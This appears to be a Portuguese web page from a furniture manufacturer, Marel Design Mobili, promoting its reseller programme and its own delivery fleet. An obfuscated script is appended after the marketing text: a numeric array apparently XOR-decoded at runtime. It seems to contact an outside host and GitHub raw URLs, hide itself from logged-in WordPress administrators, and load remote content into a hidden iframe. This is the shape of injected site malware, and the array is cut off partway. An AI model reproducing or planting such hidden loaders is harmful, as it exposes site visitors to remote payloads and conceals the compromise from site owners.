<figure class="wp-block-image size-full"><img decoding="async" width="640" height="360" src="https://marel.com.br/wp-content/uploads/venda-de-moveis-caminhao-marel.jpg" alt="Venda de móveis planejados: por que ser um revendedor Marel Design Mobili?" class="wp-image-7504" srcset="https://marel.com.br/wp-content/uploads/venda-de-moveis-caminhao-marel.jpg 640w, https://marel.com.br/wp-content/uploads/venda-de-moveis-caminhao-marel-300x169.jpg 300w, https://marel.com.br/wp-content/uploads/venda-de-moveis-caminhao-marel-500x281.jpg 500w" sizes="(max-width: 640px) 100vw, 640px" /></figure>



<p class="wp-block-paragraph">Entendemos que quem vende móveis planejados precisa de um fornecedor que cumpra prazos. Contamos com uma frota própria, assim, garantimos agilidade e qualidade nas entregas.&nbsp;</p>



<p class="wp-block-paragraph">Viu como é vantajoso ter a Marel Design Mobili como sua parceira na venda de móveis planejados? Então agende uma reunião com os nossos representantes e <a href="https://conteudo.marel.com.br/seja-um-revendedor">seja um revendedor</a>!&nbsp;</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,